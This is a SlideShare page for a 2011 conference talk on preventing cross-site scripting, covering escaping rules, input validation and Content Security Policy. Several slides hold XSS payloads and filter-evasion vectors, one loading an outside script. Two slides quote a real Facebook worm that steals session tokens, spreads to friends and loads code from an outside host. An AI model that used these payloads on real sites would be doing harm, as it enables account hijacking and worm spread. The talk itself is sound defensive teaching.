Avoiding Cross Site Scripting - Not as easy as you might think

10,627 views

Published on

My talk from NDC2011

Published in: Technology
0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
10,627
On SlideShare
0
From Embeds
0
Number of Embeds
6
Actions
Shares
0
Downloads
0
Comments
0
Likes
2
Embeds 0
No embeds

No notes for slide
  • Why on earth are we talking about cross site scripting? Isn’t that really old?
  • Back in the 90’s, any proper website would have a guestbookPeople would post all sorts of shady imagesInject H1Or <bgcolor> or <blink>Spammers took over – immediate redirect to their glorious viagra store
  • Already security conscious
  • If we were not protected against cross site scripting....Same Origin Policy - Same domain, port and protocolThis is chaning with cross domain requests, but this is bascially what the SOP says
  • Søkefelt xss – escape til script tag
  • What can you actually trust?
  • Do you really know all the events in HTML5?Do you really know all the reserved words in javascript?Could any of those be valid inputs?
  • DEMO: slå på og vis allikevel" onfocus="alert(1)" autofocus x="
  • Turn on request validaionUse onfocus + autofocus
  • This will stop a lot of the attacks, but unfortunately not all of them.
  • http://localhost:62795/OwaspXss/Rule3
  • Firebug + javascript
  • ExpressionOpera modifies link
  • Notice the mobile icon
  • Html5sec.org/innerhtml
  • Demo hvis tid
  • Allows the system to track taint from source to sink, even through transformationsAllows the framework to know which strings need to be escapedDominatorRuby on Rails + Python
  • Demo hvis tid
  • NDC video!
  • Avoiding Cross Site Scripting - Not as easy as you might think

    1. 1. Avoiding Cross Site Scripting<br />Not as easy as you might think<br />NDC2011 – Erlend Oftedal<br />
    2. 2. Y<br />
    3. 3.
    4. 4. Some security experts say it's easy to protect against... but that may not always be the case<br />
    5. 5. Statistics<br />Common error<br />OWASP Top 10<br />Sans Top 25 Most Dangerous software errors<br />http://info.veracode.com/rs/veracode/images/soss-v3.pdf<br />
    6. 6. XSS - statistics<br />http://info.veracode.com/rs/veracode/images/soss-v3.pdf<br />
    7. 7.  <br />http://security-sh3ll.blogspot.com/2011/05/twitter-xss.html<br />
    8. 8. Risk<br />Stealing data from client<br />Stealing data from server<br />Exploiting the browser<br />Session hijacking<br />Form manipulation - keylogging<br />
    9. 9.  <br /> <br />http://telenorsoc.blogspot.com/2008/10/malware-og-drive-by-exploits.html<br />
    10. 10. http://www.bindshell.net/tools/beef/screenshots.html<br />
    11. 11. Why the name Cross Site Scripting?<br /><iframe src="http://mail.google.com"><br /><script><br /></iframe><br />
    12. 12. Same Origin Policy<br />Two frames/windows may only speak if they share:<br /><ul><li>the same domain name
    13. 13. the same port
    14. 14. the same protocol </li></li></ul><li>So... What is Cross Site Scripting?<br />Input may (un)intentionally modify the flow of scripts on a page<br />Breaking the Same Origin Policy<br />
    15. 15. Demo<br />
    16. 16. What’s going on?<br /> <input type="text" name="search" value=""><br />An input of 123 yields:<br />    <input type="text" name="search" value="123"><br />An input of hello"world yields:<br />    <input type="text" name="search“ value="hello"world"><br />An input of hello"><script>alert(1)</script> yields:<br />    <input type="text" name="search"<br />    value="hello"><script>alert(1)</script>"><br />
    17. 17. Types of Cross Site Scripting<br />Reflected<br />Persistent<br />Second order / indirect / side channel<br />
    18. 18.  <br />
    19. 19.  <br />
    20. 20.  <br />
    21. 21.  <br />
    22. 22.  <br />Script/content<br />Data<br />App x<br />
    23. 23. What data can you actually trust?<br />Scripts?<br />Web services?<br />Databases?<br />
    24. 24. Input validation<br />Blacklisting keywords<br />Blacklisting/whitelisting characters<br />
    25. 25. How do you validate input?<br />Input: test<br />Validation: [a-z]+<br />
    26. 26. How do you validate input?<br />Input: "this is a test"<br />Validation: [a-zs"]+<br />
    27. 27. How do you validate input?<br />Input: Conan O’Brian<br />Validation: [a-zA-Zs"']+<br />
    28. 28. How do you validate input?<br />Input: No, your calculation is wrong, because x > 5<br />Validation: [a-zA-Zs"'>.,]+<br />
    29. 29. How do you validate input?<br />Input: Try moving the <script> tag to the bottom of the page.<br />Validation: [a-zA-Zs"‘<>.,]+<br />
    30. 30. ASP.NET Request Validation<br />Throws exception on:<br />&#<br />< followed by a-z, !, ? Or /<br />Can be disabled per page / model field<br />Sometimes good reason to disable<br />Only stops the simpler attacks<br />
    31. 31. Demo<br />
    32. 32. A couple of tricks<br />Build a javascript string without quotes:<br />String.fromCharCode(88, 83, 83)<br />/XSS/.source<br />Running script without user invocation:<br /><img src="x" onerror="alert(1)" /><br /><input ... Value="" autofocus onfocus="alert(1)" /><br />
    33. 33. HTML escaping – almost there, but not quite<br />System.Web.HttpUtility.HtmlEncode(string s)<br />Replace<br /><ul><li>< with &lt;
    34. 34. >with &gt;
    35. 35. "with &quote;
    36. 36. 'with '
    37. 37. &with &amp;
    38. 38. Ascii 160 to 255 replaced with0#nn;</li></li></ul><li>Demo<br />
    39. 39. It's all a matter of context<br />
    40. 40. Per context escaping<br />We need to escape depending on context(s)<br />OWASP XSS Prevention Cheat Sheet<br />Rules for context and escaping<br />
    41. 41. Rule #0 - Forbidden<br /> <script>...NEVER PUT UNTRUSTED DATA HERE...</script>   directly in a script<br /> <br /> <!--...NEVER PUT UNTRUSTED DATA HERE...-->           inside an HTML comment<br /> <br /> <div...NEVER PUT UNTRUSTED DATA HERE...=test/>      in an attribute name<br /> <br /> <NEVER PUT UNTRUSTED DATA HERE... href="/test"/>     in a tag name<br />
    42. 42. Rule#1 – Between tags<br /><div><br />...HTML ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...<br /></div><br />=> HTML escaping<br />
    43. 43. Rule#2 - Attributes<br />Inside unquoted attribute:<br /><divattr=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...> content<br /></div><br />     <br />Inside single quoted attribute<br /><div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'> content<br /></div><br />   <br />Inside double quoted attribute<br /><div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."> content<br /></div><br />   <br /> HTML attribute escaping<br />
    44. 44. Rule #3 – in javascript strings<br />Inside a quoted string<br /><script><br />alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')<br /></script>    <br />One side of a quoted expression<br /><script><br />x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'<br /></script>         <br /> <br />Inside quoted event handler:<br /><div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"></div>  <br />Javascriptescaping<br />NEVER put untrusted data inside strings passed to eval(), setInterval() and similar<br />
    45. 45. Rule #4 – In CSS<br /><style><br />    selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; }<br /></style>     <br /><style><br />    selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; } <br /></style>  <br /><spanstyle="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."><br />    text<br /></span><br />CSS escaping<br />
    46. 46. Rule#5 - URLs<br /><a href="http://www.somesite.com?test=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a><br />URL escaping<br />
    47. 47. http://www.hackersbay.in/2011/05/facebook-worm-spreading-verify-my.html<br />
    48. 48. var message = "Please do your part in PREVENTING SPAM by VERIFYING YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to begin the verification process...";<br />varjsText= "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://pelorak.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";<br />varmyText= "==>[VERIFY MY ACCOUNT]<==";<br />varpost_form_id=<br />.getElementsByName('post_form_id')[0].value;<br />varfb_dtsg=<br />.getElementsByName('fb_dtsg')[0].value;<br />varuid=<br />.cookie.match(<br />.cookie.match(/c_user=(d+)/)[1]);<br />var friends = new <br />();<br />gf= new XMLHttpRequest(); <br />gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" +uid+ "&"+<br />.random(),false); <br />gf.send(); <br />if(gf.readyState!=4){ }else{ <br />data =<br />('(' +gf.responseText.substr(9) + ')'); <br />if(data.error){ }else{ <br />friends =data.payload.entries.sort(function(a,b){return a.index-b.index;});<br />}<br />}<br />for(var i=0; i<friends.length; i++){<br />varhttpwp= new XMLHttpRequest();<br />varurlwp= "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";<br />varparamswp= "&__d=1&app_id=6628568379&extern=0&" +<br />"&post_form_id=" +post_form_id+<br />"&fb_dtsg=" +fb_dtsg+<br />"&feed_info[action_links][0][href]=" +<br />(jsText) +<br />"&feed_info[action_links][0][text]=" +<br />(myText) +<br />"&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid+<br />"&user_message=" + message;<br />httpwp.open("POST", urlwp, true);<br />httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");<br />httpwp.setRequestHeader("Content-length", paramswp.length);<br />httpwp.setRequestHeader("Connection", "keep-alive");<br />httpwp.onreadystatechange= function(){<br />if (httpwp.readyState== 4 &&httpwp.status== 200){<br />}<br />}<br />httpwp.send(paramswp);<br />}<br />alert("Verification Failed. Click 'OK' and follow the steps to prevent your account from being deleted.");<br />.location = "http://pelorak.info/verify.php?js";<br />
    49. 49. varmyText = "==>[VERIFY MY ACCOUNT]<==";<br />varjsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://pelorak.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";<br />...<br />For each friend post a message {<br />varurlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";<br />varparamswp = "&__d=1&app_id=6628568379&extern=0&" +<br />"&post_form_id=" + post_form_id + <br />"&fb_dtsg=" + fb_dtsg + <br />"&feed_info[action_links][0][href]=" + <br />(jsText) + <br />"&feed_info[action_links][0][text]=" + <br />(myText) + <br />"&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid + <br />"&user_message=" + message;<br />...<br />}<br />
    50. 50. Rule#6 – Use a policy driven engine<br />Use an HTML Policy engine to validate or clean user-driven HTML in an outbound way.<br />Must be a whitelist based engine.<br />OWASP AntiSamy<br />HtmlPurifier<br />
    51. 51. Why you do NOT write your own HTML-cleaner/sanitizer<br /><IFRAME SRC="javascript:alert('XSS');"></IFRAME><br /><SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT><br /><BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")><br /><META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;"><br /><charset="x-mac-farsi">☼script ☾alert(1)//☼/script ☾<br />http://ha.ckers.org/xss.html<br />
    52. 52. Rule#7 – Avoid DOM based XSS<br />
    53. 53. DOM based XSS<br />Insecure handling of input in javascript - reading values from:<br /><ul><li>other tags
    54. 54. native javascript objects/properties like
    55. 55. document.referer
    56. 56. window.location.hash</li></ul>Allows attacks present in URLs that are never seen by the server<br /> http://www.somesite.com/#banner=may2011<br /> http://www.somesite.com/#banner=may2011"><script>...<br />
    57. 57. Demo<br />
    58. 58. Demo<br />$(location.hash)<br />$("#<script>alert(1)</script>")<br />http://codesearch.google.com/codesearch?as_q=%22%24%28location.hash%29%22<br />
    59. 59. Avoiding DOM based XSS<br /><ul><li>Beware of the inputs in this context
    60. 60. Beware of the complex contexts
    61. 61. See the OWASP DOM based XSS prevention Cheat Sheet</li></ul>https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet<br />
    62. 62. AntiXss<br />
    63. 63. AntiXss as the default encoder<br />Web.config<br /><system.web><br />  <httpRuntime <br />    encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" /><br />New in 4.1 beta<br />
    64. 64. MVC3 - Razor<br />@SomeValue- HTML escaped<br />@Html.Raw(SomeValue) - No escaping<br />@{ varvalue = newHtmlString("<p>hello</p>"); }<br />@value - No escaping<br />@Html.TextBox(...)    - Escapes attributes<br />Will not protect against javascript inside HTML, or javascript inside HTML-attributes.<br />
    65. 65. Other approaches – Mozilla CSP<br />Mozilla CSP - Content Security Policy<br /><ul><li>implemented in FF4 – hopefully others soon
    66. 66. header based - server instructs browser
    67. 67. policies for javascript, frames, images, style etc.</li></ul>X-Content-Security-Policy: allow *; script-src'self‘<br />X-Content-Security-Policy: allow *; script-src 'self' *.google.com https://*.ndc2010.no:443 <br />X-Content-Security-Policy: allow *; script-src 'self'; options inline-script eval-script<br />https://wiki.mozilla.org/Security/CSP/Spec<br />http://nuget.org/List/Packages/ContentSecurityPolicy.Net<br />
    68. 68. Other approaches – Taint Tracking<br />A variable is marked as tainted if in contains user input<br />tainted + tainted = tainted<br />untainted + tainted = tainted<br />untainted + untainted = untainted<br />Partial taint – allows for partial escaping<br />var html = "<h1>" + user_value + "</h1>";<br />[bitmask =  0000    1111111...   00000 ]<br />
    69. 69. Other approaches – ECMAScript 5<br /><ul><li>Supported by newer browsers
    70. 70. Allows developers to patch/redefine the browser's behavior:</li></ul>Object.defineProperty(document, "cookie",  {<br />    get: function() { return "BLOCKED"; },<br />    set: function(v) { },<br />    configurable: false<br /> });<br /><ul><li>Can be used to lock down the DOM</li></ul>Access control<br />IDS/IPS<br />https://www.owasp.org/images/a/a3/Mario_Heiderich_OWASP_Sweden_Locking_the_throneroom.pdf<br />    <br />
    71. 71. HTML5 – anything new?<br /><ul><li>SVG - Scalable Vector Graphics
    72. 72. Image format
    73. 73. Allows for scripting
    74. 74. XML-based
    75. 75. Can be declared inline</li></ul><html>...<div>...<svg>...<br />http://www.owasp.org/images/a/aa/The_image_that_called_me.pdf<br />
    76. 76. JSONP and external scripts<br />Add a script-tag  allow XSS from that domain<br />Control google analytics control the world<br />Questions you need to ask yourself:<br /><ul><li>Can I trust the external data?
    77. 77. What encoding is in use in this data?</li></li></ul><li> <br />Script/content<br />Data<br />App x<br />
    78. 78. Other types of XSS - Plugins<br />XSS in flash<br />XSS in Adobe Reader<br />
    79. 79. Questions<br />Join your local OWASP chapter (NNUG for web security)!<br />Oslo chapter is at https://www.owasp.org/index.php/Norway<br />Erlend Oftedal<br />erlend.oftedal@bekk.no<br />@webtonull<br />
    80. 80. Resources<br /><ul><li>AntiXSS:http://nuget.org/List/Packages/AntiXSS
    81. 81. OWASP XSS Prevention Cheat Sheet:https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
    82. 82. OWASP DOM based XSS Prevention Cheat Sheet:https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
    83. 83. Content Security Policy:https://wiki.mozilla.org/Security/CSP/Spechttp://nuget.org/List/Packages/ContentSecurityPolicy.Net
    84. 84. HTML5 security cheat sheet:http://html5sec.org/
    85. 85. Locking the throne room - Mario Heiderichhttps://www.owasp.org/images/a/a3/Mario_Heiderich_OWASP_Sweden_Locking_the_throneroom.pdf
    86. 86. The image that called me - Mario Heiderichhttp://www.owasp.org/images/a/aa/The_image_that_called_me.pdf</li>

    ×